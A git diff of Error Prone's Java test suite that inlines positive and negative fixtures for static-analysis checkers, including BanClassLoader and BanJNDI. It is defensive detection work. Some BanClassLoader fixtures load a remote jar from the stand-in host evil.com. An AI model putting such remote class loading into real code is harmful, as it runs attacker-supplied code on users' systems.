--git a/core/src/test/java/com/google/errorprone/bugpatterns/BadShiftAmountTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BadShiftAmountTest.java index c962aaf1c69..7b0eb68bf4f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BadShiftAmountTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BadShiftAmountTest.java @@ -32,11 +32,79 @@ public class BadShiftAmountTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/BadShiftAmountPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "BadShiftAmountPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author Bill Pugh (bill.pugh@gmail.com) + */ + public class BadShiftAmountPositiveCases { + + public void foo() { + int x = 0; + long result = 0; + + // BUG: Diagnostic contains: (long) x >> 32 + result += x >> 32; + // BUG: Diagnostic contains: (long) x << 32 + result += x << 32; + // BUG: Diagnostic contains: (long) x >>> 32 + result += x >>> 32; + // BUG: Diagnostic contains: (long) x >> 40 + result += x >> 40; + // BUG: Diagnostic contains: (long) (x & 255) >> 40 + result += (x & 255) >> 40; + + // BUG: Diagnostic contains: 1L << 48 + result += 1 << 48; + + // BUG: Diagnostic contains: x >> 4 + result += x >> 100; + // BUG: Diagnostic contains: x >> 31 + result += x >> -1; + + byte b = 0; + char c = 'a'; + + // BUG: Diagnostic contains: (long) b >> 32 + result += b >> 32; + // BUG: Diagnostic contains: (long) b << 32 + result += b << 32; + // BUG: Diagnostic contains: (long) c >> 32 + result += c >> 32; + // BUG: Diagnostic contains: (long) c >>> 32 + result += c >>> 32; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/BadShiftAmountNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "BadShiftAmountNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author Bill Pugh (bill.pugh@gmail.com) + */ + public class BadShiftAmountNegativeCases { + + public void foo() { + int x = 0; + long result = 0; + + result += (long) x >> 3; + result += x << 3; + result += x >>> 3; + result += (long) (x & 0xff) >> 40; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java index 383813d110a..c089d8ab5b0 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java @@ -33,11 +33,87 @@ public class BanClassLoaderTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/BanClassLoaderPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "BanClassLoaderPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static java.rmi.server.RMIClassLoader.loadClass; + +import java.lang.invoke.MethodHandles; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; + +class BanClassLoaderPositiveCases { + /** Override loadClass with an insecure implementation. */ + // BUG: Diagnostic contains: BanClassLoader + class InsecureClassLoader extends URLClassLoader { + public InsecureClassLoader() { + super(new URL[0]); + } + + @Override + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + try { + addURL(new URL("jar:https://evil.com/bad.jar")); + } catch (MalformedURLException e) { + } + return findClass(name); + } + } + + /** Calling static methods in java.rmi.server.RMIClassLoader. */ + public static final Class loadRMI() throws ClassNotFoundException, MalformedURLException { + // BUG: Diagnostic contains: BanClassLoader + return loadClass("evil.com", "BadClass"); + } + + /** Calling constructor of java.net.URLClassLoader. */ + public ClassLoader loadFromURL() throws MalformedURLException { + // BUG: Diagnostic contains: BanClassLoader + URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")}); + return loader; + } + + /** Calling methods of nested class. */ + public static final Class methodHandlesDefineClass(byte[] bytes) + throws IllegalAccessException { + // BUG: Diagnostic contains: BanClassLoader + return MethodHandles.lookup().defineClass(bytes); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/BanClassLoaderNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "BanClassLoaderNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.net.URL; +import java.net.URLClassLoader; +import java.security.SecureClassLoader; + +class BanClassLoaderPositiveCases { + /** OK to extend SecureClassLoader */ + class AnotherSecureClassLoader extends SecureClassLoader {} + + /** OK to call loadClass if it's not on RMIClassLoader */ + public final Class overrideClassLoader() throws ClassNotFoundException { + SecureClassLoader loader = new AnotherSecureClassLoader(); + return loader.loadClass("BadClass"); + } + + /** OK to define loadClass */ + private class NotClassLoader { + protected void loadClass() {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BanJNDITest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BanJNDITest.java index bffc2e6e6db..a5024402357 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BanJNDITest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BanJNDITest.java @@ -33,18 +33,199 @@ public class BanJNDITest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/BanJNDIPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "BanJNDIPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.IOException; +import java.util.Hashtable; +import javax.management.remote.JMXConnector; +import javax.management.remote.JMXConnectorFactory; +import javax.management.remote.JMXServiceURL; +import javax.management.remote.rmi.RMIConnector; +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.naming.Name; +import javax.naming.NamingException; +import javax.naming.directory.Attributes; +import javax.naming.directory.DirContext; +import javax.sql.rowset.spi.SyncFactory; +import javax.sql.rowset.spi.SyncFactoryException; + +/** + * {@link BanJNDITest} + * + * @author tshadwell@google.com (Thomas Shadwell) + */ +class BanJNDIPositiveCases { + private static DirContext FakeDirContext = ((DirContext) new Object()); + + private void callsModifyAttributes() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.modifyAttributes(((Name) new Object()), 0, ((Attributes) new Object())); + } + + private void callsGetAttributes() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.getAttributes(((Name) new Object())); + } + + private void callsSearch() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.search(((Name) new Object()), ((Attributes) new Object())); + } + + private void callsGetSchema() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.getSchema(((Name) new Object())); + } + + private void callsGetSchemaClassDefinition() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.getSchemaClassDefinition(((Name) new Object())); + } + + private static Context FakeContext = ((Context) new Object()); + + private void callsLookup() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeContext.lookup("hello"); + } + + private void callsSubclassLookup() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.lookup("hello"); + } + + private void callsBind() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeContext.bind(((Name) new Object()), new Object()); + } + + private void subclassCallsBind() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.bind(((Name) new Object()), new Object()); + } + + private void callsRebind() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeContext.rebind(((Name) new Object()), new Object()); + } + + private void subclassCallsRebind() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.rebind(((Name) new Object()), new Object()); + } + + private void callsCreateSubcontext() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeContext.createSubcontext((Name) new Object()); + } + + private void subclassCallsCreateSubcontext() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.createSubcontext((Name) new Object()); + } + + RMIConnector fakeRMIConnector = ((RMIConnector) new Object()); + + private void callsRMIConnect() throws IOException { + // BUG: Diagnostic contains: BanJNDI + fakeRMIConnector.connect(); + } + + private void callsEnumerateBindings() throws SyncFactoryException { + // BUG: Diagnostic contains: BanJNDI + SyncFactory.getInstance("fear is the little-death"); + } + + // unable to load javax.jdo for testing (must be some super optional pkg?) + + private void callsJMXConnectorFactoryConnect() throws IOException { + // BUG: Diagnostic contains: BanJNDI + JMXConnectorFactory.connect(((JMXServiceURL) new Object())); + } + + private void callsDoLookup() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + InitialContext.doLookup(((Name) new Object())); + } + + private static boolean callToJMXConnectorFactoryConnect() + throws java.net.MalformedURLException, java.io.IOException { + JMXConnector connector = + // BUG: Diagnostic contains: BanJNDI + JMXConnectorFactory.connect( + new JMXServiceURL("service:jmx:rmi:///jndi/rmi:// fake data 123 ")); + connector.connect(); + + return false; + } + + private Object subclassesJavaNamingcontext() throws NamingException { + InitialContext c = new InitialContext(new Hashtable(0)); + // BUG: Diagnostic contains: BanJNDI + return c.lookup("hello"); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/BanJNDINegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "BanJNDINegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import javax.naming.Name; +import javax.naming.NamingException; +import javax.naming.directory.DirContext; + +/** + * {@link BanJNDITest} + * + * @author tshadwell@google.com (Thomas Shadwell) + */ +class BanJNDIPositiveCases { + private static DirContext FakeDirContext = ((DirContext) new Object()); + + // Check we didn't ban all of Context by accident. + private void callsList() throws NamingException { + FakeDirContext.list(((Name) new Object())); + } +}""") + .doTest(); } @Test public void negativeCaseUnchanged() { refactoringHelper - .addInput("testdata/BanJNDINegativeCases.java") + .addInputLines( + "BanJNDINegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import javax.naming.Name; +import javax.naming.NamingException; +import javax.naming.directory.DirContext; + +/** + * {@link BanJNDITest} + * + * @author tshadwell@google.com (Thomas Shadwell) + */ +class BanJNDIPositiveCases { + private static DirContext FakeDirContext = ((DirContext) new Object()); + + // Check we didn't ban all of Context by accident. + private void callsList() throws NamingException { + FakeDirContext.list(((Name) new Object())); + } +}""") .expectUnchanged() .setArgs("-XepCompilingTestOnlyCode") .doTest(); diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ByteBufferBackingArrayTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ByteBufferBackingArrayTest.java index 8a02e1c993d..7654fa0f6ff 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ByteBufferBackingArrayTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ByteBufferBackingArrayTest.java @@ -30,12 +30,226 @@ public class ByteBufferBackingArrayTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/ByteBufferBackingArrayPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ByteBufferBackingArrayPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest; +import java.nio.ByteBuffer; + +/** Positive cases for {@link ByteBufferBackingArrayTest}. */ +public class ByteBufferBackingArrayPositiveCases { + + public void array_notPrecededByOffsetNorValidInitializer_asLocalVariable_isFlagged() { + ByteBuffer buff = null; + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } + + class A { + + ByteBuffer buff = null; + + void array_notPrecededByOffsetNorValidInitializer_asField_isFlagged() { + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } + } + + class ArrayCalledInFieldNotPrecededByOffsetNorValidInitializerAsFieldIsFlagged { + ByteBuffer buffer = null; + // BUG: Diagnostic contains: ByteBuffer.array() + byte[] array = buffer.array(); + } + + void array_notPrecededByOffsetNorValidInitializer_asMethodParameter_isFlagged(ByteBuffer buffer) { + // BUG: Diagnostic contains: ByteBuffer.array() + buffer.array(); + } + + void array_followedByWrap_isFlagged() { + ByteBuffer buff = null; + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + buff = ByteBuffer.wrap(new byte[] {1}); + } + + void array_followedByAllocate_isFlagged() { + ByteBuffer buff = null; + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + buff = ByteBuffer.allocate(1); + } + + void array_precededByAllocateDirect_isFlagged() { + ByteBuffer buff = null; + buff = ByteBuffer.allocateDirect(1); + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } + + void array_precededByAllocateOnAnotherBuffer_isFlagged() { + ByteBuffer otherBuff = ByteBuffer.allocate(1); + ByteBuffer buff = null; + otherBuff.arrayOffset(); + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } + + void array_precededByNotAValidMethod_isFlagged() { + ByteBuffer buff = null; + buff.position(); + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } +}""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/ByteBufferBackingArrayNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ByteBufferBackingArrayNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest; +import java.nio.ByteBuffer; +import java.util.function.Function; + +/** Negative cases for {@link ByteBufferBackingArrayTest}. */ +public class ByteBufferBackingArrayNegativeCases { + + void noArrayCall_isNotFlagged() { + ByteBuffer buffer = null; + buffer.position(); + } + + void array_precededByArrayOffset_isNotFlagged() { + ByteBuffer buffer = null; + buffer.arrayOffset(); + buffer.array(); + } + + void array_precededByArrayOffset_onOuterScope_isNotFlagged() { + ByteBuffer buffer = null; + buffer.arrayOffset(); + if (true) { + while (true) { + buffer.array(); + } + } + } + + void array_precededByByteBufferWrap_isNotFlagged() { + ByteBuffer buffer = ByteBuffer.wrap(new byte[] {1}); + buffer.array(); + } + + void array_precededByByteBufferAllocate_isNotFlagged() { + ByteBuffer buffer = ByteBuffer.allocate(1); + buffer.array(); + } + + // Ideally, this case should be flagged though. + void array_followedByByteBufferArrayOffset_isNotFlagged() { + ByteBuffer buffer = null; + buffer.array(); + buffer.arrayOffset(); + } + + // Ideally, this case should be flagged though. + void array_followedByArrayOffset_inExpression_isNotFlagged() { + ByteBuffer buffer = null; + byte[] outBytes; + int outOffset; + int outPos; + if (buffer.hasArray()) { + outBytes = buffer.array(); + outPos = outOffset = buffer.arrayOffset() + buffer.position(); + } + } + + void array_precededByByteBufferAllocate_inSplitMethodChain_isNotFlagged() { + ByteBuffer buffer = ByteBuffer.allocate(1).put((byte) 'a'); + buffer.array(); + } + + public void array_immediatelyPrecededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged() + throws Exception { + ByteBuffer.allocate(0).array(); + } + + void array_precededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged() { + ByteBuffer.allocate(Long.SIZE / Byte.SIZE).putLong(1L).array(); + } + + byte[] array_inMethodChain_precededByByteBufferAllocate_isNotFlagged() { + ByteBuffer buffer = ByteBuffer.allocate(1); + return buffer.put(new byte[] {1}).array(); + } + + class A { + // Ideally, this case should be flagged though. + void array_inMethodChain_whereByteBufferIsNotAtStartOfChain_isNotFlagged() { + A helper = new A(); + helper.getBuffer().put((byte) 1).array(); + } + + ByteBuffer getBuffer() { + return null; + } + } + + class B { + ByteBuffer buffer = ByteBuffer.allocate(1); + + void array_precededByByteBufferAllocate_inField_isNotFlagged() { + buffer.array(); + } + } + + class C { + ByteBuffer buffer = ByteBuffer.allocate(1); + + class A { + void array_precededByByteBufferAllocate_inFieldOfParentClass_isNotFlagged() { + buffer.array(); + } + } + } + + class ArrayInFieldPrecededByByteBufferAllocateInFieldIsNotFlagged { + ByteBuffer buffer = ByteBuffer.allocate(1); + byte[] array = buffer.array(); + } + + void array_inAnonymousClass_precededByByteBufferAllocate_isNotFlagged() { + final ByteBuffer buffer = ByteBuffer.allocate(0); + + new Function() { + @Override + public Object apply(Object o) { + buffer.array(); + return null; + } + }; + } + + void array_inLambdaExpression_precededByByteBufferAllocate_isNotFlagged() { + final ByteBuffer buffer = ByteBuffer.allocate(0); + + Function f = + (Void unused) -> { + buffer.array(); + return null; + }; + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/CannotMockFinalClassTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/CannotMockFinalClassTest.java index 19a9eddcb65..f038e3d0b57 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/CannotMockFinalClassTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/CannotMockFinalClassTest.java @@ -35,7 +35,29 @@ public class CannotMockFinalClassTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/CannotMockFinalClassPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "CannotMockFinalClassPositiveCases.java", + """ + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + import org.mockito.Mock; + import org.mockito.Mockito; + + /** Test for CannotMockFinalClass. */ + @RunWith(JUnit4.class) + public class CannotMockFinalClassPositiveCases { + static final class FinalClass {} + + // BUG: Diagnostic contains: Mockito cannot mock + @Mock FinalClass impossible; + + public void method() { + // BUG: Diagnostic contains: Mockito cannot mock + FinalClass local = Mockito.mock(FinalClass.class); + } + }""") + .doTest(); } @Test @@ -64,11 +86,48 @@ record Record() {} @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/CannotMockFinalClassNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "CannotMockFinalClassNegativeCases.java", + """ + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + import org.mockito.Mock; + import org.mockito.Mockito; + + /** Test for CannotMockFinalClass. */ + @RunWith(JUnit4.class) + public class CannotMockFinalClassNegativeCases { + static class NonFinalClass {} + + @Mock NonFinalClass okToMock; + + public void method() { + NonFinalClass local = Mockito.mock(NonFinalClass.class); + } + }""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/CannotMockFinalClassNegativeCases2.java").doTest(); + compilationHelper + .addSourceLines( + "CannotMockFinalClassNegativeCases2.java", + """ + import org.mockito.Mock; + import org.mockito.Mockito; + + /** Test for CannotMockFinalClass in the absence of @RunWith(JUnit4.class). */ + public class CannotMockFinalClassNegativeCases2 { + static final class FinalClass {} + + @Mock FinalClass impossible; + + public void method() { + FinalClass local = Mockito.mock(FinalClass.class); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ChainedAssertionLosesContextTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ChainedAssertionLosesContextTest.java index e1850d78506..494f0f7140f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ChainedAssertionLosesContextTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ChainedAssertionLosesContextTest.java @@ -32,14 +32,165 @@ public class ChainedAssertionLosesContextTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ChainedAssertionLosesContextPositiveCases.java") + .addSourceLines( + "ChainedAssertionLosesContextPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.truth.Truth.assertAbout; +import static com.google.common.truth.Truth.assertWithMessage; +import static com.google.common.truth.Truth.assert_; + +import com.google.common.truth.FailureMetadata; +import com.google.common.truth.Subject; +import com.google.common.truth.Truth; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ChainedAssertionLosesContextPositiveCases { + static final class FooSubject extends Subject { + private final Foo actual; + + static Factory foos() { + return FooSubject::new; + } + + static FooSubject assertThat(Foo foo) { + return assertAbout(foos()).that(foo); + } + + private FooSubject(FailureMetadata metadata, Foo actual) { + super(metadata, actual); + this.actual = actual; + } + + void hasString(String expected) { + // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) + Truth.assertThat(actual.string()).isEqualTo(expected); + } + + void hasOtherFooInteger(int expected) { + // BUG: Diagnostic contains: + // check("otherFoo().integer()").that(actual.otherFoo().integer()).isEqualTo(expected) + Truth.assertThat(actual.otherFoo().integer()).isEqualTo(expected); + } + + FooSubject otherFooAbout() { + // BUG: Diagnostic contains: check("otherFoo()").about(foos()).that(actual.otherFoo()) + return assertAbout(foos()).that(actual.otherFoo()); + } + + FooSubject otherFooThat() { + // BUG: Diagnostic contains: check("otherFoo()").about(foos()).that(actual.otherFoo()) + return assertThat(actual.otherFoo()); + } + + void withMessage(String expected) { + // BUG: Diagnostic contains: + // check("string()").withMessage("blah").that(actual.string()).isEqualTo(expected) + assertWithMessage("blah").that(actual.string()).isEqualTo(expected); + } + + void withMessageWithArgs(String expected) { + // BUG: Diagnostic contains: + // check("string()").withMessage("%s", "blah").that(actual.string()).isEqualTo(expected) + assertWithMessage("%s", "blah").that(actual.string()).isEqualTo(expected); + } + + void plainAssert(String expected) { + // BUG: Diagnostic contains: + // check("string()").that(actual.string()).isEqualTo(expected) + assert_().that(actual.string()).isEqualTo(expected); + } + } + + private static final class Foo { + final String string; + final int integer; + + Foo(String string, int integer) { + this.string = string; + this.integer = integer; + } + + String string() { + return string; + } + + int integer() { + return integer; + } + + Foo otherFoo() { + return this; + } + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ChainedAssertionLosesContextNegativeCases.java") + .addSourceLines( + "ChainedAssertionLosesContextNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertAbout; + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.truth.FailureMetadata; + import com.google.common.truth.Subject; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class ChainedAssertionLosesContextNegativeCases { + static final class FooSubject extends Subject { + private final Foo actual; + + private FooSubject(FailureMetadata metadata, Foo actual) { + super(metadata, actual); + this.actual = actual; + } + + static Factory foos() { + return FooSubject::new; + } + + static FooSubject assertThat(Foo foo) { + return assertAbout(foos()).that(foo); + } + } + + void someTestMethod() { + assertThat("").isNotNull(); + } + + private static final class Foo { + final String string; + final int integer; + + Foo(String string, int integer) { + this.string = string; + this.integer = integer; + } + + String string() { + return string; + } + + int integer() { + return integer; + } + + Foo otherFoo() { + return this; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ChainingConstructorIgnoresParameterTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ChainingConstructorIgnoresParameterTest.java index e9e3506aac7..e912ac10e52 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ChainingConstructorIgnoresParameterTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ChainingConstructorIgnoresParameterTest.java @@ -32,14 +32,207 @@ public class ChainingConstructorIgnoresParameterTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ChainingConstructorIgnoresParameterPositiveCases.java") + .addSourceLines( + "ChainingConstructorIgnoresParameterPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.errorprone.bugpatterns.testdata.ChainingConstructorIgnoresParameterPositiveCases.Location.TEST_TARGET; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ChainingConstructorIgnoresParameterPositiveCases { + static class MissileLauncher { + MissileLauncher(Location target, boolean askForConfirmation) {} + + MissileLauncher(Location target) { + this(target, false); + } + + MissileLauncher(boolean askForConfirmation) { + // BUG: Diagnostic contains: this(TEST_TARGET, askForConfirmation) + this(TEST_TARGET, false); + } + } + + static class ClassRatherThanPrimitive { + ClassRatherThanPrimitive(String foo, boolean bar) {} + + ClassRatherThanPrimitive(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("default", false); + } + } + + static class CallerBeforeCallee { + CallerBeforeCallee(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("default", false); + } + + CallerBeforeCallee(String foo, boolean bar) {} + } + + static class AssignableButNotEqual { + AssignableButNotEqual(Object foo, boolean bar) {} + + AssignableButNotEqual(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("default", false); + } + } + + static class HasNestedClassCallerFirst { + HasNestedClassCallerFirst(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("somethingElse", false); + } + + static class NestedClass {} + + HasNestedClassCallerFirst(String foo, boolean bar) {} + } + + static class HasNestedClassCalleeFirst { + HasNestedClassCalleeFirst(String foo, boolean bar) {} + + static class NestedClass {} + + HasNestedClassCalleeFirst(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("somethingElse", false); + } + } + + static class MultipleQueuedErrors { + MultipleQueuedErrors(Location target) { + // BUG: Diagnostic contains: this(target, false) + this(TEST_TARGET, false); + } + + MultipleQueuedErrors(boolean askForConfirmation) { + // BUG: Diagnostic contains: this(TEST_TARGET, askForConfirmation) + this(TEST_TARGET, false); + } + + MultipleQueuedErrors(Location target, boolean askForConfirmation) {} + } + + enum Location { + TEST_TARGET + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ChainingConstructorIgnoresParameterNegativeCases.java") + .addSourceLines( + "ChainingConstructorIgnoresParameterNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.File; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ChainingConstructorIgnoresParameterNegativeCases { + static class ImplicitThisCall { + ImplicitThisCall() {} + + ImplicitThisCall(String foo) {} + } + + static class ExplicitNoArgThisCall { + ExplicitNoArgThisCall() {} + + ExplicitNoArgThisCall(String foo) { + this(); + } + } + + static class ParameterNotAvailable { + ParameterNotAvailable(String foo, boolean bar) {} + + ParameterNotAvailable(String foo) { + this(foo, false); + } + } + + static class ParameterDifferentType { + ParameterDifferentType(File foo) {} + + ParameterDifferentType(String foo) { + this(new File("/tmp")); + } + } + + static class ParameterUsedInExpression { + ParameterUsedInExpression(String foo, boolean bar) {} + + ParameterUsedInExpression(String foo) { + this(foo.substring(0), false); + } + } + + /** Make sure that we don't confuse a nested class's constructor with the containing class's. */ + static class HasNestedClass { + HasNestedClass(String foo) { + this("somethingElse", false); + } + + static class NestedClass { + NestedClass(String foo, boolean bar) {} + } + + HasNestedClass(String notFoo, boolean bar) {} + } + + static class HasNestedClassesWithSameName { + static class Outer1 { + static class Inner { + Inner(String foo, boolean bar) {} + } + } + + static class Outer2 { + static class Inner { + Inner(String foo) { + this("somethingElse", false); + } + + Inner(String notFoo, boolean bar) {} + } + } + } + + class NonStaticClass { + NonStaticClass(String foo, boolean bar) {} + + NonStaticClass(String foo) { + this(foo, false); + } + } + + static class Varargs1 { + Varargs1(String foo, boolean... bar) {} + + Varargs1() { + this("something", false, false); + } + } + + static class Varargs2 { + Varargs2(String foo, boolean... bar) {} + + Varargs2() { + this("something"); + } + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/CheckReturnValueTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/CheckReturnValueTest.java index 22abdb7d2e7..8dd9d36d324 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/CheckReturnValueTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/CheckReturnValueTest.java @@ -47,7 +47,190 @@ public class CheckReturnValueTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/CheckReturnValuePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "CheckReturnValuePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.CheckReturnValue; +import org.junit.rules.ExpectedException; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class CheckReturnValuePositiveCases { + + IntValue intValue = new IntValue(0); + + @CheckReturnValue + private int increment(int bar) { + return bar + 1; + } + + public void foo() { + int i = 1; + // BUG: Diagnostic contains: The result of `increment(...)` must be used + // + // If you really don't want to use the result, then assign it to a variable: `var unused = ...`. + // + // If callers of `increment(...)` shouldn't be required to use its result, then annotate it with + // `@CanIgnoreReturnValue`. + increment(i); + System.out.println(i); + } + + public void bar() { + // BUG: Diagnostic contains: this.intValue = this.intValue.increment() + this.intValue.increment(); + } + + public void testIntValue() { + IntValue value = new IntValue(10); + // BUG: Diagnostic contains: value = value.increment() + value.increment(); + } + + private void callRunnable(Runnable runnable) { + runnable.run(); + } + + public void testResolvedToVoidLambda() { + // BUG: Diagnostic contains: + callRunnable(() -> this.intValue.increment()); + } + + public void testResolvedToVoidMethodReference(boolean predicate) { + // BUG: Diagnostic contains: The result of `increment()` must be used + // + // `this.intValue::increment` acts as an implementation of `Runnable.run` + // -- which is a `void` method, so it doesn't use the result of `increment()`. + // + // To use the result, you may need to restructure your code. + // + // If you really don't want to use the result, then switch to a lambda that assigns it to a + // variable: `() -> { var unused = ...; }`. + // + // If callers of `increment()` shouldn't be required to use its result, then annotate it with + // `@CanIgnoreReturnValue`. + callRunnable(this.intValue::increment); + // BUG: Diagnostic contains: The result of `increment()` must be used + callRunnable(predicate ? this.intValue::increment : this.intValue::increment2); + } + + public void testConstructorResolvedToVoidMethodReference() { + // BUG: Diagnostic contains: The result of `new MyObject()` must be used + // + // `MyObject::new` acts as an implementation of `Runnable.run` + // -- which is a `void` method, so it doesn't use the result of `new MyObject()`. + // + // To use the result, you may need to restructure your code. + // + // If you really don't want to use the result, then switch to a lambda that assigns it to a + // variable: `() -> { var unused = ...; }`. + // + // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with + // `@CanIgnoreReturnValue`. + callRunnable(MyObject::new); + } + + public void testRegularLambda() { + callRunnable( + () -> { + // BUG: Diagnostic contains: + this.intValue.increment(); + }); + } + + public void testBeforeAndAfterRule() { + // BUG: Diagnostic contains: + new IntValue(1).increment(); + ExpectedException.none().expect(IllegalStateException.class); + new IntValue(1).increment(); // No error here, last statement in block + } + + public void constructor() { + // BUG: Diagnostic contains: The result of `new MyObject()` must be used + new MyObject() {}; + + class MySubObject1 extends MyObject {} + + class MySubObject2 extends MyObject { + MySubObject2() {} + } + + class MySubObject3 extends MyObject { + MySubObject3() { + 